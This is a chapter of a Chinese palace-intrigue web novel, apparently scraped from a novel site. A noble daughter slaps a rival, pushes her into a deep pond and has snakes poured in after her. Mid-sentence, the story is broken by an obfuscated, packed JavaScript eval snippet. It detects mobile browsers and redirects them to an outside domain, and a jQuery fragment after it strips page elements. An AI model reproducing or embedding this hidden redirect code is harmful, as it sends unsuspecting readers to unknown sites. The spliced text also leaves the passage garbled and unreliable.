封芊耳朵嗡嗡地响,整张脸都被扇得狠狠错位偏过去。从这个角度只能看见她耳鬓上一秒还精致规整的发此刻已是凌乱炸出。
她扶着石桌沿的手慢慢扣紧。
衣素肩膀一耸,这力度……真对得起恶毒女配称号啊。
日子太平久了,都快忘了自己主子是个什么脾性了。
紫棠却是在一旁,两眼放光模样。
衣素:“……”
司马晏晞生了一副清冷玉颜,不是传统里娇纵大小姐秾华稠丽模样,毒起来却是更有一种味道。
她皮肤白,且薄,贴合在面骨上,于是此刻连那额头上淡淡的血管都可见。细长眉,柳叶眼常被衣素挂在口上称为美眸,半含秋水确实清绝出尘又勾人。此刻凝眸阴冷模样,眼尾金粉洇染,朱红花钿落在眉心秾艳,说杀起人来也不过。
秀颈虽薄却从没有弯折的时候,她站在那里,就是当朝辅相司马安的女儿。
从无质疑,不屑遮掩。
“……你,你!”封芊被扇弯了的身子站直,她气抖着伸手指向她。
“啪!!!”
众人又是一声凉气。
衣素不免挤巴了下眼睛。
咦惹,不忍直视。
这次打的是封芊另半张脸。
司马晏晞就站在那里,一动不动看着她。她头上带了玉簪,金钗,花钿,琼光步摇,各种珠环钏缕,发髻繁复秾缛,这些全部都要那一双不及二十的纤弱肩膀支撑起来。她却岿然不动。
高傲的,家底殷厚的,权贵之女,她自幼便习惯了珠围翠绕,珠光宝气里养出来的人。
欲戴其冠,必承其重。
封芊被扇得不敢动了。
她眼下脑瓜子嗡嗡的,本就瘦,巴掌大小脸上两道交错惊心的红痕,垢面蓬头,窘迫至极。
“干得好!”紫棠握了两个小拳头,看样子激动得恨不得跑到她俩中间去呐喊了。
衣素无语,衣素开口。
“你这样,你看。”
她握着她的拳往上一击:“这个叫上勾拳知道不,下次庆祝就这样,哎不是不是,别对着我……”
谭温书就立在那众女之间,她方不想凑这热闹,谁料被呼啦啦的人群直接裹挟着直推了亭子下来。
“你,”封芊战栗着一双纤弱锁骨,颤抖瞳孔里身着翡翠色刻丝牡丹流仙裙的女子步步靠近,每走一步,步摇上碧色润珠都将那张清新却不失昳丽的面容掠出一道浮光。
司马晏晞唇角甚至从头到尾都没有一丝弧度。
她根本没想过开口。
衣素在后面看着,深觉在当今天下,权势是多么重要的东西。
当朝权臣之女,打人甚至都不需要理由。
步步紧逼,封芊已经退至三面环水的榭檐下,背骨“咚”地磕上了朱栏。
“你,你要干什么……”她是真的肉眼可见地慌了。这水榭下可是深不见底的沉潭。
“妹妹忘了吗,不是说过自己素爱干净?”司马晏晞俯身,朱唇轻启道。
封芊的脸色一点点白起来。
“今日这香汤足够大,”半晌,悦耳却又令她发颤的女声再度响起,缓缓,“再也不用加水了。”
谭温书:………又来。
“咚”一声,封芊脚底一滑,惊惧之间身体猛地向后仰去!
……预想的水声没有传来,她睁着一双空洞的眼睛,却看见自己胳膊上拉着的一只手。
是文兰。
她惊惧不定,仿佛神魂已离体,脸色惨白僵硬地,魄不附身地朝司马晏晞转过脸来——
一双玉手直直地迎着面门按过来!!!
“扑通!!!!”
风声和少女们尖叫声夹杂着,电火石光间只见衣裙翻飞,封芊从那至少高两三丈的水榭之上,倒立着直直坠入犹如平镜的静池!!
两三丈,逼近十米,大概快三层楼那么高。衣素的脸色有些不好,跳水超过十米就有因巨大冲击而昏厥的可能,司马宴晞这是打算要她的命吗。
“……救命,救!”幸而,封芊是个命大的,一声激烈的扑腾声过后,底下传来艰难却又凄厉的叫喊声,混着咳水音。贵女们拉着扯着呼啦啦围过来,又是怕又是惊地捂着胸口往下眺望。
一片嘈杂混乱中,司马晏晞端端在原处,脖颈直立,连眼睛都不曾眨一下。她垂着一动不动的眸子,唇角毫无弧度,面无表情地任那幅垂死挣扎的场景,清晰落在自己琥珀色的瞳孔深处。
神色沉阴,甚至是精致的冰寒。
下水,当然要我亲自推你
——怎么可能让你自己动手呢?
“文兰,拿蛇来。”
半晌,她端着锦绣华袍宽大袖口下的素手,只微微偏了头,淡淡开口。
“是。”
衣素表情凝重一瞬。
蛇?
她盯着那一众攒动黑墨发髻下岿然的身姿。
司马晏晞,她本就没手软过。
如若有,那只是她根本没想动手。
这厢一个竹编草筐送了上来,吓得挤作一团的官家小姐们花容失色惊叫连连退开,藕色青色长长衣裙如摊展的宣纸画,纷纷向两边铺开。
衣素快步上前几尺。
司马晏晞不动声色地俯瞰下面,一种绝对的,碾压式的,完全上位者姿态。她居然亲手接过竹筐,眼神看都没看一瞬,那双纤纤玉手白得像玉,分寸之下便是通身黑恶的爬行动物。
“衣素。”
一道不容抗拒的沉声。
衣素眼睫颤了颤,饶是她都有些意外自己主子今日面目。她立刻应了声,恭敬交手,垂脸碎步上前。
“奴婢在。”
半低的视线中一只竹筐突然伸过来。
“!!!”
只见那筐中的冷血之物浑身鳞片密密麻麻,闪着冰冷幽光,三角形的脑袋,血红的信子飞速吐动,每一次伸缩都令她颈后头发都要炸起来!
“怎么。”
幽幽的声音从旁边传来,竟如同这黑蛇开口一般,森然彻骨,不怒而威!
她脸颊鸡皮疙瘩已经起了一层又一层,闻言连忙接了过来不敢抬头,闷声:“奴婢知错。”
“……司马晏,晞!你完了!!我父亲,不会放……过你的……!”
激烈的水花声持续不断,声音断断续续从下面传上来。
那几条蛇盘踞,油滑身体互相绞着,蜿蜒着。她背后如针如芒直生寒,胃中只觉翻涌势汹。
“倒进去。”
三个字,轻描淡写。
从身侧直直传来。
衣素低着的睫毛微不可察地发颤。
“司马晏晞!司马……晏晞!你……!!!”
围观的贵女们不知何时都挤作一团站了一旁,噤若寒蝉。
这太恐怖了。
衣素闭了闭眼。
这蛇,这场景,司马晏晞。
我嘞个乖乖。
“救命!!救……!!!”
她知道那水有多冷。
她昨晚泡在水的黑夜里,冷吃透了她每一寸骨头,渗进了每一处关节。
她被按压着,一次一次从胸口推进了无边黑暗里,毫无希望,崩溃绝望。
“啊!!!!”缩在后面的少女们惊叫着咦咦啊啊连连。
“扑通!”
“扑通!”
“扑通!”
片刻后,只听闻脚底下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299838|182768||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方没了声息。
司马晏晞站在朱栏边,缀大珠菡萏绣花鞋上前一步。她冷着眉眼,垂怜施舍般,毫不着意往下投了一道无情目光。
封芊并不是淹死了,她只是害怕到发不出声音了。细听,她在哭。在呜呜咽咽地边吃了水边哭。她像无助的孩童,两胳膊四处张着划着水,脸已不是惨白,而是蒙灰。
泪痕阑干。
“封芊!”这厢司马晏晞终于金尊开口了,她声音清亮,丹田气沉,直直地划了水天,谁都听得清楚:“今日可否洗干净了?!”
“以潭水为浴,与弓衣共嬉,”她声音敞亮,细眯了一双决然怡得的眸子,“你可吸纳天地之灵气,吞吐日月之精华啊!”
话落,她居然抓了桌上瓜子儿,旋了衣袍施施然倚在长凳上,嗑了两口,戏谑看下面人动作:“如何!可爽!?”
水底一阵扑腾声,还有呛水剧烈咳肺声。
衣素在一旁被她家小姐折服得掌声呱呱响。
当然,在心底。
她惊叹着摇头,论恶毒,论报仇,论整人,还得是您!!奴婢甘拜下风!
“衣素,”这厢司马晏晞突然唤她了。
“在!”她赶紧立身。
辅相嫡女此刻看了她,一双细柳眉弯纤却脆韧有力,她春风明笑:“你可爽?”
衣素又惊怕又惊喜,又欣慰又折服……哎,怎说呢?这心思复杂得很,当然此刻,必须点头如捣蒜:“爽!!谢小姐帮奴婢报仇!!”
谁料司马晏晞似乎是被她给逗乐了,当场将掌心摊开递了她:“尝尝。”
“?!?!”
衣素看到紫棠千言万语的惊目,又在文兰也忍不住弧度微不可闻的那一抹转瞬即逝笑里,恭恭敬敬拿了一颗。
“看啊,这种时候可不多。”司马晏晞收了手回来,下巴抬抬提醒她。
她估摸着待会儿下去捞人的时间。
衣素懵懵懂懂:“哦,哦哦。”
看!那就看呗!看到什么了?哦,是封芊,说给我弄死她的封芊,满脸灰白之色在水里扑腾的封芊。她半哭半嚎,妆泪乌花,冬日宽重棉袍罗裙此刻竟成了帮凶,令她在水中动弹不得,更别提周身隐隐浮现的那几条黑蟒,在她的衣袖间游走飞潜,看着都令人锁肩并腿,瑟缩连连。
“你这样不行。”突然地,司马晏晞又开口了。
“啊,啊?”衣素惶恐。
“这样,”她拍了拍手中残渣,走上身侧,提了裙摆,趴在那朱栏上生生往下望着,伸出戴了金钏儿的白臂来,指着下面大喊:“封芊,你怕不怕?!”
“你若是怕了,便开口求我!若是不怕,继续和蛇玩一会儿!”
“你数清楚了没,一共有多少条蛇?!哪条力气最大?!”
衣素震撼,紫棠震撼,铜雀阁的丫鬟们和侍卫们震撼,连周围那些叽喳少女们,也震撼得说不出话了!
……懂了。
衣素心领神会,在拍金主小姐的马屁,不是,玉臀前,展现出惊人的颖悟绝伦:“封芊!!你怕不怕蛇!我刚才抱着时怕得要死!还好马上一箩筐倒你头上了!!!”
众人:“……”
“封芊!潭里的水好不好喝!!!和你的牛奶玫瑰汤比哪个更解渴!?”
众人:“……”
*
“今日第一次看舞宴,可有趣?”
这厢潭外远远一圈,连着梅林的曲径,青石子路下走过来的,是梁三皇子和蕲家二公子。
其中一人倒拎着扇骨,那扇柄微微顶着下颚,他习惯性地掀起唇角,却某一刻目光顿住。嘴角凝固。
须臾,却笑意更深了。
他窄着眼帘,忍笑道:“甚好。”